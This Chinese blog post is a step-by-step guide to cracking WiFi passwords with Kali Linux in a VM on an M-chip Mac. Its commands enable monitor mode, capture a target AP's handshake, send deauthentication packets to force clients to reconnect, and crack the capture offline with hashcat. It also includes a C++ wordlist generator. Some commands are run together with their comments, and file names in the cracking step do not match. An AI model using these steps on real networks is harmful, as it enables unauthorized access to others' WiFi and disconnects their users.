当前位置: 首页 > news >正文

使用 kali 进行 wifi 密码破解渗透 M芯片Mac+utm虚拟机环境

  1. 购买支持kali的网卡,比如mt7921u系列,支持wifi6,2.4G+5G+6G

  2. 在M芯片arm架构系列的mac上,安装虚拟机utm
    https://mac.getutm.app

  3. 下载kali linux镜像,国内可以用中科大源
    https://mirrors.ustc.edu.cn/kali-images/
    下载arm-installer的iso镜像即可

  4. utm新建虚拟机,选择虚拟化(更快但是只能运行本机架构。kali的工具已经支持arm了)
    注意点1: m芯片的mac+utm虚拟机的话,需要添加一个串口tty,安装的时候在tty操作。不然会黑屏提示display is not active ,无法安装kali
    注意点2:第一次安装成功后记得弹出dvd镜像,否则重启优先进入dvd镜像boot
    参考
    https://www.youtube.com/watch?v=bcaF1OSivYI
    6分44秒处操作

  5. 启动kali,插入usb网卡并分配到虚拟机

  6. 在桌面创建文件夹,新建terminal用于扫描+抓包

sudo airmon-ng start wlan0
# 把网卡变成监听状态 用ifconfig可以看到wlan0 变为wlan0monsudo airmon-ng stop wlan0mon
#用完记得还原网卡sudo airodump-ng wlan0mon 
#扫描2.4G的 wifi  获取想渗透的ap的mac地址和活跃情况
#扫描5G频段加上 -C 5180-5885sudo airodump-ng -c [Channel] --bssid [MAC] -w /保存的path --write-interval 1 --output-format pcapng wlan0mon  
#监听数据并保存为cap文件 1秒写入1次
  1. 新建terminal,用于deauth客户端
aireplay-ng -0 1 -a [MAC] -c [ClientMAC] wlan0mon #使用第0种攻击模式(deauth)发送 1次deauth数据包是客户端下线重新握手 -c 客户端mac可以不填  不停发送death是-0 0
  1. 抓包窗口显示 [WPA handshake: xx:xx:xx:xx:xx:xx]
    Ctrl+C停止抓包,拷贝cap文件到mac上

9.mac安装homebrew https://brew.sh/

brew install hcxtools   #预处理cap数据包
brew install hashcat   #离线破解hash
  1. 清洗cap文件+hash穷举破解
 hcxpcapngtool -o testwifi.hc2000 testwifi.cap  #清洗数据包获得干净hash文件,观察EAPOL pairs (best) wpa4次 握手包大于1即可hashcat -m 22000 xhb34.hccapx string.txt --force
#使用hashcat在字典中破解密码
#成功  显示 Status...........: Cracked
#失败  显示 Status...........: Exhausted
  1. 纯C++代码 wifi字典生成器 输入可能存在的固定字符和*来代表 纯数字/字母和数字/任意asc2字符
#include <iostream>
#include <fstream>
#include <string>
#include <vector>using namespace std;// 根据用户选择返回字符集
string getCharset(int mode)
{switch (mode){case 1: // 任意可键盘输入的字符(可打印 ASCII){string charset;for (char c = 32; c <= 126; ++c) // 0x20 ~ 0x7E{charset.push_back(c);}return charset;}case 2: // 字母 + 数字return "abcdefghijklmnopqrstuvwxyz""ABCDEFGHIJKLMNOPQRSTUVWXYZ""0123456789";case 3: // 纯数字return "0123456789";default:throw invalid_argument("无效的模式选择");}
}// 递归生成组合
void generate(const string& mask,const string& charset,size_t index,string& current,ofstream& out)
{if (index == mask.size()){out << current << '\n';return;}if (mask[index] == '*'){for (char c : charset){current[index] = c;generate(mask, charset, index + 1, current, out);}}else{current[index] = mask[index];generate(mask, charset, index + 1, current, out);}
}int main()
{string mask;int mode;cout << "请输入掩码字符串(例如 xiaoming***): ";cin >> mask;cout << "请选择 * 的含义:\n";cout << "1 - 任意字符\n";cout << "2 - 字母 + 数字\n";cout << "3 - 纯数字\n";cout << "你的选择: ";cin >> mode;string charset;try{charset = getCharset(mode);}catch (const exception& e){cerr << e.what() << endl;return 1;}ofstream out("string.txt");if (!out){cerr << "无法创建输出文件\n";return 1;}string current = mask;generate(mask, charset, 0, current, out);cout << "生成完成,结果已写入 string.txt\n";return 0;
}
http://www.rkmt.cn/news/123180.html

相关文章:

  • 第十六
  • 通达信判断是指数
  • 第十七
  • 10.31澳洲网安法规与现有法规对比
  • IOI 2026 中国国家集训队作业(试题泛做)个人题解
  • 20251218
  • Manacher 算法详解:线性时间求最长回文子串
  • 搜维尔科技:全新上线!Xsens Link机器人套装和Xsens Humanoid软件:专为机器人创新者打造
  • Linux核心命令 - 十里
  • 北京托福机构怎么选?2025最新推荐+避坑指南,冲分党必看! - 品牌测评鉴赏家
  • 搜维尔科技:远程机器人领域的终极触觉手套SenseGlove R1
  • 托福一对一机构怎么选?2025高分提分攻略与避坑指南(附口碑机构测评) - 品牌测评鉴赏家
  • 2025托福培训机构亲测推荐!避坑指南+高性价比方案全汇总 - 品牌测评鉴赏家
  • P2055 [ZJOI2009] 假期的宿舍
  • 托福备考不迷路!这些宝藏辅导机构请查收 - 品牌测评鉴赏家
  • 区间最值与区间历史最值
  • 雅思报班不迷路!这些机构值得重点关注 - 品牌测评鉴赏家
  • 2025 雅思培训机构怎么选?这 5 大核心指标帮你避坑 - 品牌测评鉴赏家
  • 2025年舟山服务好的广播电台广告折扣选哪家,户外led大屏广告/公交广告/地铁广告/电视台广告/广播电台广告联系电话哪个好 - 品牌推荐师
  • 2025年激光投影机技术白皮书与主流机型选购推荐,16000流明投影机/12000流明投影机/8000流明投生产厂家推荐 - 品牌推荐师
  • 软件工程学习日志2025.12.18
  • 与网络商家的谈话,如何缓解大三学生的焦虑
  • 【LangChain4J】聊天记忆-高阶Api
  • ArchLinux 开机自动打开 NumLock
  • P5782 [POI 2001] 和平委员会
  • 辛普森法则
  • 《嘟嘟脸恶作剧》:说是捏脸,你还真捏脸啊?
  • 英语_阅读_if Your computer broke down_待读
  • RadeGS——PCC损失
  • 实用指南:GitHub 热榜项目 - 日榜(2025-11-20)